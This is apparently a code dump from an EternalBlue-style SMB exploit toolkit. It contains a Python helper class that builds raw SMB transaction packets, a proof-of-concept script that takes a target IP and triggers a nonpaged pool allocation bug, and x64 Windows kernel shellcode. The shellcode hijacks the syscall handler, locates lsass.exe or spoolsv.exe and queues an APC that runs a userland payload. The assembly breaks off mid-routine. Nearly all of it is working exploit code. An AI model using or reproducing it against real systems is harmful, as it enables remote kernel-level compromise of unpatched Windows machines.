structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
############# SMB_COM_NT_TRANSACTION_SECONDARY (0xA1)
class SMBNTTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
structure = (
('Reserved1','3s=""'),
('TotalParameterCount','<L'),
('TotalDataCount','<L'),
('ParameterCount','<L'),
('ParameterOffset','<L'),
('ParameterDisplacement','<L=0'),
('DataCount','<L'),
('DataOffset','<L'),
('DataDisplacement','<L=0'),
('Reserved2','<B=0'),
)
def _put_trans_data(transCmd, parameters, data, noPad=False):
# have to init offset before calling len()
transCmd['Parameters']['ParameterOffset'] = 0
transCmd['Parameters']['DataOffset'] = 0
# SMB header: 32 bytes
# WordCount: 1 bytes
# ByteCount: 2 bytes
# Note: Setup length is included when len(param) is called
offset = 32 + 1 + len(transCmd['Parameters']) + 2
transData = ''
if len(parameters):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['ParameterOffset'] = offset + padLen
transData = ('\x00' * padLen) + parameters
offset += padLen + len(parameters)
if len(data):
padLen = 0 if noPad else (4 - offset % 4 ) % 4
transCmd['Parameters']['DataOffset'] = offset + padLen
transData += ('\x00' * padLen) + data
transCmd['Data'] = transData
origin_NewSMBPacket_addCommand = getattr(smb.NewSMBPacket, "addCommand")
login_MaxBufferSize = 61440
def NewSMBPacket_addCommand_hook_login(self, command):
# restore NewSMBPacket.addCommand
setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
command['Parameters']['MaxBuffer'] = login_MaxBufferSize
# call original one
origin_NewSMBPacket_addCommand(self, command)
def _setup_login_packet_hook(maxBufferSize):
# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
if maxBufferSize is not None:
global login_MaxBufferSize
login_MaxBufferSize = maxBufferSize
setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
self._default_tid = 0
self._pid = os.getpid() & 0xffff
self._last_mid = random.randint(1000, 20000)
if 0x4000 <= self._last_mid <= 0x4110:
self._last_mid += 0x120
self._pkt_flags2 = 0
self._last_tid = 0 # last tid from connect_tree()
self._last_fid = 0 # last fid from nt_create_andx()
smb.SMB.__init__(self, remote_host, remote_host)
def set_pid(self, pid):
self._pid = pid
def set_last_mid(self, mid):
self._last_mid = mid
def next_mid(self):
self._last_mid += random.randint(1, 20)
if 0x4000 <= self._last_mid <= 0x4110:
self._last_mid += 0x120
return self._last_mid
# override SMB.neg_session() to allow forcing ntlm authentication
def neg_session(self, extended_security=True, negPacket=None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
# to use any login method, SMB must not be used from multiple thread
def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login(self, user, password, domain, lmhash, nthash, ntlm_fallback)
def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
_setup_login_packet_hook(maxBufferSize)
smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
return self._last_tid
def get_last_tid(self):
return self._last_tid
def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
return self._last_fid
def get_last_fid(self):
return self._last_fid
def set_default_tid(self, tid):
self._default_tid = tid
def set_pkt_flags2(self, flags):
self._pkt_flags2 = flags
def send_echo(self, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = self._default_tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
self.sendSMB(pkt)
return self.recvSMB()
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None):
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['Offset'] = 0
writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
writeAndX['Parameters']['DataLength'] = len(data)
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
writeAndX['Data'] = '\x00' + data # pad 1 byte
self.send_raw(self.create_smb_packet(writeAndX, mid, pid))
return self.recvSMB()
def create_smb_packet(self, smbReq, mid=None, pid=None):
if mid is None:
mid = self.next_mid()
pkt = smb.NewSMBPacket()
pkt.addCommand(smbReq)
pkt['Tid'] = self._default_tid
pkt['Uid'] = self._uid
pkt['Pid'] = self._pid if pid is None else pid
pkt['Mid'] = mid
flags1, flags2 = self.get_flags()
pkt['Flags1'] = flags1
pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
if self._SignatureEnabled:
pkt['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
req = str(pkt)
return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536
def send_raw(self, data):
self.get_socket().send(data)
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
transCmd['Parameters'] = smb.SMBTransaction_Parameters()
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
transCmd['Parameters']['Flags'] = 0
transCmd['Parameters']['Timeout'] = 0xffffffff
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
return self.recvSMB()
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['MaxSetupCount'] = len(setup)
transCmd['Parameters']['Flags'] = 0
transCmd['Parameters']['Timeout'] = 0xffffffff
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
return self.recvSMB()
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
totalParameterCount = len(param)
if totalDataCount is None:
totalDataCount = len(data)
if maxParameterCount is None:
maxParameterCount = totalParameterCount
if maxDataCount is None:
maxDataCount = totalDataCount
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
transCmd['Parameters']['TotalDataCount'] = totalDataCount
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
transCmd['Parameters']['MaxDataCount'] = maxDataCount
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Function'] = function
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
return self.recvSMB()
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
transCmd['Parameters']['TotalDataCount'] = len(data)
transCmd['Parameters']['ParameterCount'] = len(param)
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
def recv_transaction_data(self, mid, minLen):
data = ''
while len(data) < minLen:
recvPkt = self.recvSMB()
if recvPkt['Mid'] != mid:
continue
resp = smb.SMBCommand(recvPkt['Data'][0])
data += resp['Data'][1:] # skip padding
#print(len(data))
return data

55
npp_control.py Normal file
View File

@@ -0,0 +1,55 @@
#!/usr/bin/python
from impacket import smb
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug
Note: The PoC does not support user authentication
'''
if len(sys.argv) != 2:
print("{} <ip>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
conn = MYSMB(target, use_ntlmv2=False)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
flags2 |= smb.SMB.FLAGS2_UNICODE
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
conn.logoff()
else:
print('SMB1 session setup allocate nonpaged pool failed')
conn.get_socket().close()

View File

@@ -0,0 +1,608 @@
;
; Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py and eternalblue_exploit8.py
;
;
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
;
;
; Note:
; - The userland shellcode is run in a new thread of system process.
; If userland shellcode causes any exception, the system process get killed.
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
; get call because system call is called on other processors.
; - The shellcode do not allocate shadow stack if possible for minimal shellcode size.
; It is ok because some Windows function does not require shadow stack.
; - The userland payload MUST be appened to this shellcode.
;
; Reference:
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
BITS 64
ORG 0
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
PSGETPROCESSID_HASH EQU 0x170114e1
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848
CREATETHREAD_HASH EQU 0x835e515e
DATA_PEB_ADDR_OFFSET EQU -0x10
DATA_QUEUEING_KAPC_OFFSET EQU -0x8
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
DATA_NT_KERNEL_ADDR_OFFSET EQU 0x8
DATA_KAPC_OFFSET EQU 0x10
section .text
global shellcode_start
shellcode_start:
setup_syscall_hook:
; IRQL is DISPATCH_LEVEL when got code execution
%ifdef WIN7
mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument
; set nByteProcessed to free corrupted buffer after return
mov ecx, [rdx+0x2c]
mov [rdx+0x38], ecx
%elifdef WIN8
mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument
; fix pool pointer (rcx is -0x8150 from controlled argument value)
add rcx, rdx
mov [rdx+0x30], rcx
; set nByteProcessed to free corrupted buffer after return
mov ecx, [rdx+0x48]
mov [rdx+0x40], ecx
%endif
push rbp
call set_rbp_data_address_fn
; read current syscall
mov ecx, 0xc0000082
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea r9, [rel syscall_hook]
cmp eax, r9d
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
cmp dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax
je _hook_syscall
; save original syscall
mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4], edx
mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax
; first time on the target
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], 0
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0xc0000082 affects only running processor
xchg r9, rax
push rax
pop rdx ; mov rdx, rax
shr rdx, 32
wrmsr
_setup_syscall_hook_done:
pop rbp
%ifdef WIN7
xor eax, eax
%elifdef WIN8
xor eax, eax
%endif
ret
;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
_set_rbp_data_address_fn_next:
shr rbp, 12
shl rbp, 12
sub rbp, 0x70 ; for KAPC struct too
ret
syscall_hook:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push 0x2b
push qword [gs:0x10]
push rax ; want this stack space to store original syscall addr
; save rax first to make this function continue to real syscall
push rax
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
call set_rbp_data_address_fn
mov rax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET]
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [rsp+0x10], rax
; save all volatile registers
push rcx
push rdx
push r8
push r9
push r10
push r11
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbp+DATA_QUEUEING_KAPC_OFFSET], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0xc0000082
mov eax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET]
mov edx, [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rbp
pop rax
ret
r3_to_r0_start:
; save used non-volatile registers
push r15
push r14
push rdi
push rsi
push rbx
push rax ; align stack by 0x10
;======================================
; find nt kernel address
;======================================
mov r15, qword [rbp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiSystemCall64 is an address in nt kernel
shr r15, 0xc ; strip to page size
shl r15, 0xc
_x64_find_nt_walk_page:
sub r15, 0x1000 ; walk along page size
cmp word [r15], 0x5a4d ; 'MZ' header
jne _x64_find_nt_walk_page
; save nt address for using in KernelApcRoutine
mov [rbp+DATA_NT_KERNEL_ADDR_OFFSET], r15
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR
mov edi, PSGETCURRENTPROCESS_HASH
call win_api_direct
xchg rcx, rax ; rcx = EPROCESS
; r15 : nt kernel address
; r14 : ETHREAD
; rcx : EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov edi, PSGETPROCESSIMAGEFILENAME_HASH
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)
mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
; if offset of ImageFilename is more than 0x400, current is (Win8+)
%ifdef WIN7
lea rdx, [rax+0x28]
%elifdef WIN8
lea rdx, [rax+0x38]
%else
cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename
jb _find_eprocess_threadlist_offset_win7
add eax, 0x10
_find_eprocess_threadlist_offset_win7:
lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead
%endif
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
%ifdef COMPACT
lea r9, [rcx+rdx] ; r9 = ETHREAD listEntry
%else
lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead
mov r9, r8
%endif
; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
mov r9, qword [r9]
%ifndef COMPACT
cmp r8, r9 ; check end of list
je _insert_queue_apc_done ; not found !!!
%endif
; if (r9 - r14 < 0x700) found
mov rax, r9
sub rax, r14
cmp rax, 0x700
ja _find_ethread_threadlist_offset_loop
sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov edi, PSGETPROCESSID_HASH
call get_proc_addr
mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; check process name
_find_target_process_loop:
lea rsi, [rcx+rbx]
call calc_hash
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
%ifndef COMPACT
jz found_target_process
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
%endif
jz found_target_process
; next process
mov rcx, [rcx+rdi]
sub rcx, rdi
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save process PEB for finding CreateThread address in kernel KAPC routine
;======================================
mov edi, PSGETPROCESSPEB_HASH
; rcx is EPROCESS. no need to set it.
call win_api_direct
mov [rbp+DATA_PEB_ADDR_OFFSET], rax
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; r15 = nt
; r14 = -(offset of ETHREAD.ThreadListEntry)
; rcx = EPROCESS
; edx = offset of EPROCESS.ThreadListHead
%ifdef COMPACT
lea rbx, [rcx + rdx]
%else
lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
mov rbx, rsi ; use rbx for iterating thread
%endif
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov rbx, [rbx+8]
%ifndef COMPACT
cmp rsi, rbx
je _insert_queue_apc_loop ; skip list head
%endif
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
lea rdx, [rbx + r14] ; ETHREAD
sub rsp, 0x20 ; shadow stack
mov edi, KEINITIALIZEAPC_HASH
call win_api_direct
; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+DATA_KAPC_OFFSET]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, KEINSERTQUEUEAPC_HASH
call win_api_direct
add rsp, 0x40
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [rax+0x1a], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [rax], rax
mov [rax+8], rax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
pop rax
pop rbx
pop rsi
pop rdi
pop r14
pop r15
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
; edi = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp rax
;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
; edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash
; use rax to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
mov eax, dword [r15+rax+136] ; Get export tables RVA
add rax, r15
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames
add rbx, r15
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
add rsi, r15 ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
pop rax ; restore EAT
mov ebx, dword [rax+36]
add rbx, r15 ; ordinate table virtual address
mov cx, word [rbx+rcx*2] ; desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table rva
add rbx, r15 ; Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, r15 ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rbx
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
push rdx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
push rbp
push rbx
push rdi
push rsi
push r15
mov rbp, [r8] ; *NormalContext is our data area pointer
mov r15, [rbp+DATA_NT_KERNEL_ADDR_OFFSET]
push rdx
pop rsi ; mov rsi, rdx
mov rbx, r9
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
; rdx is already address of baseAddr
mov [rdx], rax ; baseAddr = 0
mov ecx, eax
not rcx ; ProcessHandle = -1
mov r8, rax ; ZeroBits
